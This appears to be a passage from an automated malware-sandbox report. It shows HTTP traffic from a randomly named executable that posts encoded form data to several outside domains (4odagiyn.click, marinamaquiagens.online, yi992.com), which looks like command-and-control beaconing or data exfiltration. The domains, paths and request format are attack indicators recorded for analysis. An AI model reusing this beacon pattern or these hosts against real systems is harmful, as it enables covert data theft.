76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 37 50 35 79 78 36 48 52 41 56 2b 58 63 57 45 59 57 50 36 6b 64 36 4c 46 58 4f 6f 7a 71 76 43 4c 6f 37 4b 77 61 66 33 78 31 4b 63 6f 7a 5a 32 53 61 62 6c 6b 34 4e 66 6a 52 79 41 34 4d 2b 79 35 56 5a 36 4a 63 58 31 69 54 4f 4b 57 46 6f 73 6e 62 67 46 61 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_K7P5yx6HRAV+XcWEYWP6kd6LFXOozqvCLo7Kwaf3x1KcozZ2Sablk4NfjRyA4M+y5VZ6JcX1iTOKWFosnbgFag==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:24:29.528224945 CEST	975	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzk4YmU4YzUtNDJkNi00MGI1LTkyNGYtNzliZmRkMjEzMGJlIiwicGFnZV90aW1lIjoxNzI1NTM5MD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	57192	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:24:44.953896999 CEST	708	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 6a 4b 78 30 45 2b 36 51 4c 79 48 68 78 69 59 75 36 72 69 77 50 68 4a 46 6b 31 36 30 6e 50 7a 44 41 50 5a 57 34 33 31 61 42 4b 46 38 43 54 38 4f 6a 66 6a 41 4c 69 78 4d 52 38 2b 74 32 6c 63 30 4b 55 4c 56 69 30 74 4f 6e 76 31 62 75 30 41 6e 44 4d 72 55 48 72 68 63 70 64 57 33 72 50 46 42 72 36 45 63 7a 75 57 52 78 74 43 78 66 6a 61 73 46 36 6f 66 6c 73 66 7a 57 47 50 5a 6d 48 58 51 54 46 66 69 6c 79 39 6b 67 4d 44 77 66 4a 68 32 63 61 62 64 75 7a 2f 51 50 58 71 66 71 37 73 62 64 4e 71 39 73 52 6a 76 30 53 67 6d 74 49 4a 51 4d 49 38 33 66 43 50 33 4c 49 3d Data Ascii: V6h=sxYt67PYdpPwXjKx0E+6QLyHhxiYu6riwPhJFk160nPzDAPZW431aBKF8CT8OjfjALixMR8+t2lc0KULVi0tOnv1bu0AnDMrUHrhcpdW3rPFBr6EczuWRxtCxfjasF6oflsfzWGPZmHXQTFfily9kgMDwfJh2cabduz/QPXqfq7sbdNq9sRjv0SgmtIJQMI83fCP3LI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	57193	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:24:47.504967928 CEST	728	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 44 36 78 34 46 2b 36 53 72 79 45 6b 78 69 59 6c 61 71 70 77 4f 64 4a 46 6c 77 6e 30 55 72 7a 44 69 6e 5a 45 38 6a 31 50 42 4b 46 7a 69 53 34 42 44 66 39 41 4c 2b 35 4d 51 41 2b 74 32 68 63 30 50 77 4c 56 52 63 75 50 33 76 33 4f 2b 30 47 6b 7a 4d 72 55 48 72 68 63 70 68 77 33 76 62 46 42 62 71 45 64 57 61 4a 53 78 74 42 79 66 6a 61 6d 6c 36 73 66 6c 74 77 7a 58 61 68 5a 6a 4c 58 51 53 31 66 69 52 65 36 74 67 4d 46 75 76 49 54 6e 66 2f 74 62 4f 76 43 54 39 65 41 4d 70 7a 65 54 4c 67 41 6e 4f 5a 4c 38 55 2b 59 32 2b 41 2b 42 38 70 56 74 38 53 2f 70 63 66 48 4f 50 50 59 69 4d 34 35 6b 34 77 45 6c 4d 59 43 61 45 34 30 Data Ascii: V6h=sxYt67PYdpPwXD6x4F+6SryEkxiYlaqpwOdJFlwn0UrzDinZE8j1PBKFziS4BDf9AL+5MQA+t2hc0PwLVRcuP3v3O+0GkzMrUHrhcphw3vbFBbqEdWaJSxtByfjaml6sfltwzXahZjLXQS1fiRe6tgMFuvITnf/tbOvCT9eAMpzeTLgAnOZL8U+Y2+A+B8pVt8S/pcfHOPPYiM45k4wElMYCaE40

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	57194	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:24:50.040246010 CEST	1745	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 44 36 78 34 46 2b 36 53 72 79 45 6b 78 69 59 6c 61 71 70 77 4f 64 4a 46 6c 77 6e 30 55 6a 7a 44 7a 48 5a 57 62 66 31 4a 78 4b 46 74 53 53 31 42 44 65 68 41 4c 6d 39 4d 51 4d 78 74 31 56 63 31 70 38 4c 43 55 67 75 47 33 76 33 4d 2b 30 44 6e 44 4e 72 55 48 62 66 63 70 52 77 33 76 62 46 42 64 47 45 61 44 75 4a 66 52 74 43 78 66 6a 57 73 46 36 49 66 68 49 48 7a 58 65 66 5a 33 33 58 4a 79 6c 66 6b 79 6d 36 77 51 4d 48 76 76 49 4c 6e 66 44 2b 62 4f 79 7a 54 38 62 76 4d 70 4c 65 51 73 56 33 36 73 42 76 75 32 2b 4d 37 35 59 77 5a 71 78 71 6e 74 65 57 71 65 48 58 4b 74 6d 37 73 70 73 48 68 73 31 7a 30 5a 49 71 62 78 35 42 54 57 77 77 72 4e 64 31 78 54 51 76 64 76 52 46 46 37 63 31 53 4e 69 42 53 47 69 49 55 56 46 79 55 52 75 2f 78 57 4f 30 48 6a 6b 47 33 6e 79 42 71 67 71 44 47 56 4a 5a 75 68 65 32 6c 38 6b 57 53 46 63 6d 41 46 6c 6d 71 76 6c 6f 69 6d 56 7a 71 6e 61 67 57 4d 32 77 2f 4f 68 56 38 66 47 61 67 4c 6e 30 56 6b 6e 54 63 4c 33 52 37 77 2b 58 63 45 [TRUNCATED] Data Ascii: V6h=sxYt67PYdpPwXD6x4F+6SryEkxiYlaqpwOdJFlwn0UjzDzHZWbf1JxKFtSS1BDehALm9MQMxt1Vc1p8LCUguG3v3M+0DnDNrUHbfcpRw3vbFBdGEaDuJfRtCxfjWsF6IfhIHzXefZ33XJylfkym6wQMHvvILnfD+bOyzT8bvMpLeQsV36sBvu2+M75YwZqxqnteWqeHXKtm7spsHhs1z0ZIqbx5BTWwwrNd1xTQvdvRFF7c1SNiBSGiIUVFyURu/xWO0HjkG3nyBqgqDGVJZuhe2l8kWSFcmAFlmqvloimVzqnagWM2w/OhV8fGagLn0VknTcL3R7w+XcERbU3V8g6CdCqhg4+C4ZX5D8oLpMRdJd9kL6yLAkHcERFyq2jgRwkhTHq+Ay8BdiI+w7uY8SfTwLd/DHk5I+rqutGAeBs4v5Mcxe9mVtLdj5gSo/TMkTGXiH1o7zGWh5eGNjc4RVC3WufxdtAXJnz3kQc8YEUQoZu7ntXzs30vJFdEd/WU9l0l5u4MxEgasmCVrJb7e+ef7kLcEtP/qNTSym1h/8jJDzRctn8j8/z1szuCL7H6oLFoB45qb7rckZmK8tRGak8m7UD/K4Y7FbXtSSkUH3nNn9SBgUaEI3KgZWOHAbWgdl+VJl5UXhesAHv1tgP5CFHrHXlXM2W19J9rNlzn4DWKqHYocyOgpdGXxPqvZa9EFztuk7MGiMYEG6c6CTO3r4Y0VCYBtNlOOlXmjnzF4+DA3DqeV7aQimd25/7Hb3CLAbKAC/okAoNJvvvEWgbHlyCipsmMG+lK4cJcQzt4OoiFTVgERyTrcnwZ1591lBvTi+ZE77ck0NMjkZgKaqgmC51fUk74KOF3vpbOoSDFXh2CA9jnIHUlGFNZWIOyOsX/Nw/nWwAPV79sonvs4vQtvF4M0MyOliC/e5D16Llp0PMlerDQOKirwty8VrRd6g4EI1ZSxJN1TzpAzhjoJpRhoPZ+NVIAZVtrb7OJfG1Khvw9/VSYG [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	57195	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:24:52.589010954 CEST	449	OUT	GET /f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.4odagiyn.click Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:24:53.108608961 CEST	509	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 05 Sep 2024 12:24:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Cache-Control: no-cache Pragma: no-cache Location: http://ww12.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ&usid=16&utid=34491525176 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	57196	15.197.240.20	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:06.534112930 CEST	735	OUT	POST /n4sv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.marinamaquiagens.online Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.marinamaquiagens.online Referer: http://www.marinamaquiagens.online/n4sv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 63 6c 55 4d 62 61 49 34 44 4a 6b 49 31 53 34 75 2f 49 46 65 4d 45 68 45 33 6b 79 61 39 45 39 74 68 2b 6c 68 55 48 37 46 69 31 76 48 33 39 4d 79 62 66 50 58 6c 76 45 31 53 65 62 62 71 30 6b 43 2f 39 42 44 63 70 4e 70 45 76 62 58 30 4d 59 51 46 6e 73 57 68 70 43 4b 73 37 2b 35 51 32 70 6e 45 70 77 50 58 49 57 67 4f 36 67 33 49 30 43 58 39 6c 66 6d 62 2f 42 50 57 36 45 74 67 73 75 61 72 48 64 6f 79 30 61 6c 54 69 34 58 58 75 4b 63 73 51 68 54 30 6e 32 72 55 77 2b 71 39 61 38 4a 37 68 71 6f 34 68 75 51 35 6a 64 7a 6d 30 76 54 72 6a 33 61 62 61 58 6a 65 58 75 36 4f 49 6a 48 32 59 41 79 42 5a 41 3d Data Ascii: V6h=clUMbaI4DJkI1S4u/IFeMEhE3kya9E9th+lhUH7Fi1vH39MybfPXlvE1Sebbq0kC/9BDcpNpEvbX0MYQFnsWhpCKs7+5Q2pnEpwPXIWgO6g3I0CX9lfmb/BPW6EtgsuarHdoy0alTi4XXuKcsQhT0n2rUw+q9a8J7hqo4huQ5jdzm0vTrj3abaXjeXu6OIjH2YAyBZA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	57197	15.197.240.20	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:09.070902109 CEST	755	OUT	POST /n4sv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.marinamaquiagens.online Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.marinamaquiagens.online Referer: http://www.marinamaquiagens.online/n4sv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 63 6c 55 4d 62 61 49 34 44 4a 6b 49 30 79 49 75 2b 70 46 65 64 30 68 4c 38 45 79 61 7a 55 38 6d 68 2b 35 68 55 47 2f 56 69 48 37 48 33 59 49 79 63 65 50 58 67 76 45 31 5a 2b 62 65 6b 55 6b 33 2f 39 46 78 63 6f 78 70 45 76 66 58 30 4e 6f 51 45 57 73 56 69 5a 43 49 6b 62 2b 6e 49 57 70 6e 45 70 77 50 58 49 53 65 4f 36 34 33 49 46 79 58 38 45 66 68 59 2f 41 39 58 36 45 74 71 4d 76 54 72 48 64 4f 79 32 2b 66 54 67 77 58 58 75 61 63 73 43 4a 53 74 33 32 70 51 77 2b 38 36 4a 6c 5a 2b 79 71 2f 39 41 37 54 74 79 6c 46 6e 43 43 35 78 42 2f 79 49 36 37 62 4f 45 6d 4e 66 34 43 75 73 37 51 43 66 4f 55 51 42 44 72 73 5a 72 78 73 48 79 46 78 57 72 50 50 4c 6e 4c 66 Data Ascii: V6h=clUMbaI4DJkI0yIu+pFed0hL8EyazU8mh+5hUG/ViH7H3YIycePXgvE1Z+bekUk3/9FxcoxpEvfX0NoQEWsViZCIkb+nIWpnEpwPXISeO643IFyX8EfhY/A9X6EtqMvTrHdOy2+fTgwXXuacsCJSt32pQw+86JlZ+yq/9A7TtylFnCC5xB/yI67bOEmNf4Cus7QCfOUQBDrsZrxsHyFxWrPPLnLf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	57198	15.197.240.20	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:11.625915051 CEST	1772	OUT	POST /n4sv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.marinamaquiagens.online Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.marinamaquiagens.online Referer: http://www.marinamaquiagens.online/n4sv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 63 6c 55 4d 62 61 49 34 44 4a 6b 49 30 79 49 75 2b 70 46 65 64 30 68 4c 38 45 79 61 7a 55 38 6d 68 2b 35 68 55 47 2f 56 69 47 44 48 33 4b 41 79 61 39 58 58 6a 76 45 31 57 75 62 66 6b 55 6b 51 2f 38 68 50 63 6f 38 53 45 73 33 58 31 72 63 51 44 69 34 56 35 70 43 49 6f 37 2b 6d 51 32 70 79 45 6f 63 78 58 49 43 65 4f 36 34 33 49 48 71 58 37 56 66 68 65 2f 42 50 57 36 45 78 67 73 76 2f 72 48 56 77 79 32 37 69 55 54 6f 58 5a 75 71 63 74 32 70 53 79 6e 32 6e 65 51 2f 2f 36 4a 59 44 2b 79 32 46 39 42 2f 74 74 31 42 46 6c 30 37 6c 30 53 37 5a 66 63 66 6b 4b 6c 75 66 47 64 6d 4b 72 36 73 6d 61 4e 41 43 4a 69 72 65 53 66 4e 47 4f 6d 59 50 55 66 4c 39 46 58 2b 53 37 52 52 41 72 6e 6b 69 2b 33 36 56 49 66 45 68 79 36 46 6f 78 4d 70 4d 4c 4c 4a 55 63 62 52 6c 57 42 55 75 64 77 4e 30 52 6c 6a 78 55 50 6e 34 51 64 44 32 31 7a 7a 38 67 36 52 7a 48 68 58 4a 48 76 74 4b 2b 75 35 43 33 4a 55 6c 53 4a 4b 70 65 6b 49 74 76 55 4e 39 69 32 48 6a 4c 79 50 6a 34 6f 45 46 30 63 62 6d 77 50 2b 4c 43 56 37 75 63 76 [TRUNCATED] Data Ascii: V6h=clUMbaI4DJkI0yIu+pFed0hL8EyazU8mh+5hUG/ViGDH3KAya9XXjvE1WubfkUkQ/8hPco8SEs3X1rcQDi4V5pCIo7+mQ2pyEocxXICeO643IHqX7Vfhe/BPW6Exgsv/rHVwy27iUToXZuqct2pSyn2neQ//6JYD+y2F9B/tt1BFl07l0S7ZfcfkKlufGdmKr6smaNACJireSfNGOmYPUfL9FX+S7RRArnki+36VIfEhy6FoxMpMLLJUcbRlWBUudwN0RljxUPn4QdD21zz8g6RzHhXJHvtK+u5C3JUlSJKpekItvUN9i2HjLyPj4oEF0cbmwP+LCV7ucveAUNlC4rYR1giWGfScNUxUrbUFdQmFOys3DBJhur4CgXh1Jv3/zTrdqKMQUVAXgr2RjM6uUQIb2Wlte+kRfBInSTQ4R0Ii3OnvpT5cj7kPEEhZHCrYPrxDCRBVhBdyrIeUuF2xRNikZdm3cFmckvWXEH+GP0JuvbwG8a2Aj9WKr4M2n+vVk4JFjtnXqUcfEPjiklHoEK7uYl1qxZdk3g32pwskRLHQQ0wHs54jh//ZHrfUMC0hsgg1vob59QDTBWyMn5mh7mRTxFeG9w2RKrcXxlRD//GkY6S4e2ibxxVfKYjyHpsnRFaL4RW9DZQ78hpc3O8TmacA4jh7BZmqrNXDoSmArLNCMCdvJqW9YHgNWhgHxxjfQIh9kM9z0DT/sS71Bs062Or8psdYkhXA2pHMXlqmRXAbscinUQKU0k+3UFLFnfXQ4BoHNdv8dlmAA0+CkfB8qzHya5lzOp149mY7pSyOSzEcnxH7y2E2TPAhYNNw/LDnJpBZ3sSTzTwZgJJ4eSluYMcI4UJv7i+mROPaLK96xku4WxElWOeMm0pVIch/1NqFko7VgTEQhg/Wxc7FciQqkw5WtFYLdSkMRw8FRKQ8EPAJivkk6u0r9sdSJYnrqhYtcRQbhffYUskk0CZkpJ5b6WPk0Vi6/WTcRShD9K8vbhJkduY5 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	57199	15.197.240.20	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:14.164923906 CEST	458	OUT	GET /n4sv/?V6h=Rn8sYt8YDaYT7jFf5K1RN21751bCn2USuvRVR0XZr3jMl4ljVezIqMhPdYzWo0QynoEEVao5Nd7ZkOoeHk8KzYmVnd6lY3cEc8VkS42gD8QuE3e2/CTNStdnS6k5rMWW1Q==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.marinamaquiagens.online Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:25:14.632872105 CEST	409	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Sep 2024 12:25:14 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 56 36 68 3d 52 6e 38 73 59 74 38 59 44 61 59 54 37 6a 46 66 35 4b 31 52 4e 32 31 37 35 31 62 43 6e 32 55 53 75 76 52 56 52 30 58 5a 72 33 6a 4d 6c 34 6c 6a 56 65 7a 49 71 4d 68 50 64 59 7a 57 6f 30 51 79 6e 6f 45 45 56 61 6f 35 4e 64 37 5a 6b 4f 6f 65 48 6b 38 4b 7a 59 6d 56 6e 64 36 6c 59 33 63 45 63 38 56 6b 53 34 32 67 44 38 51 75 45 33 65 32 2f 43 54 4e 53 74 64 6e 53 36 6b 35 72 4d 57 57 31 51 3d 3d 26 73 48 3d 6e 56 56 48 64 44 54 78 32 50 53 54 56 4a 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?V6h=Rn8sYt8YDaYT7jFf5K1RN21751bCn2USuvRVR0XZr3jMl4ljVezIqMhPdYzWo0QynoEEVao5Nd7ZkOoeHk8KzYmVnd6lY3cEc8VkS42gD8QuE3e2/CTNStdnS6k5rMWW1Q==&sH=nVVHdDTx2PSTVJ"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	57200	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:25:28.027965069 CEST	693	OUT	POST /iuti/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.yi992.com Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.yi992.com Referer: http://www.yi992.com/iuti/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 71 76 37 6e 6c 39 4c 54 49 62 5a 49 64 48 34 54 52 49 79 64 6e 42 77 2f 6b 4d 46 59 55 61 49 5a 65 4e 6c 39 65 42 51 68 67 52 4b 79 38 79 44 52 41 49 33 5a 66 75 56 31 70 65 58 34 6d 37 68 48 53 66 63 45 4c 59 51 6b 77 39 59 59 72 54 50 76 47 4e 65 70 2f 4c 77 56 6e 5a 52 62 4d 65 67 66 6f 4c 50 72 5a 54 73 76 79 5a 44 78 76 58 33 30 6b 69 51 30 6b 6b 78 39 53 75 35 30 32 49 71 78 74 46 4e 4b 79 50 6a 32 33 6f 66 6a 57 32 69 75 62 49 6f 59 73 33 32 4e 42 6c 59 74 6b 75 49 4b 4b 45 55 50 64 50 52 72 37 68 36 4e 61 75 5a 6b 61 2f 41 35 4c 67 2f 4c 37 78 74 47 55 51 5a 4f 30 65 55 49 77 55 3d Data Ascii: V6h=sqv7nl9LTIbZIdH4TRIydnBw/kMFYUaIZeNl9eBQhgRKy8yDRAI3ZfuV1peX4m7hHSfcELYQkw9YYrTPvGNep/LwVnZRbMegfoLPrZTsvyZDxvX30kiQ0kkx9Su502IqxtFNKyPj23ofjW2iubIoYs32NBlYtkuIKKEUPdPRr7h6NauZka/A5Lg/L7xtGUQZO0eUIwU=
Sep 5, 2024 14:25:28.483258009 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:25:27 GMT content-type: text/html; charset=utf-8 content-length: 1102 x-request-id: 2851622f-1411-454f-a6ec-61008623bdc7 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JdtAsr3waICb/+KzqtXRnUyhaAXfOwJfDtq2EI4D7jCLjy2JKV8Ho3IZDc6pbK8otNN9KrQv3nWJZ9wAJ3/JdA== set-cookie: parking_session=2851622f-1411-454f-a6ec-61008623bdc7; expires=Thu, 05 Sep 2024 12:40:28 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 64 74 41 73 72 33 77 61 49 43 62 2f 2b 4b 7a 71 74 58 52 6e 55 79 68 61 41 58 66 4f 77 4a 66 44 74 71 32 45 49 34 44 37 6a 43 4c 6a 79 32 4a 4b 56 38 48 6f 33 49 5a 44 63 36 70 62 4b 38 6f 74 4e 4e 39 4b 72 51 76 33 6e 57 4a 5a 39 77 41 4a 33 2f 4a 64 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html 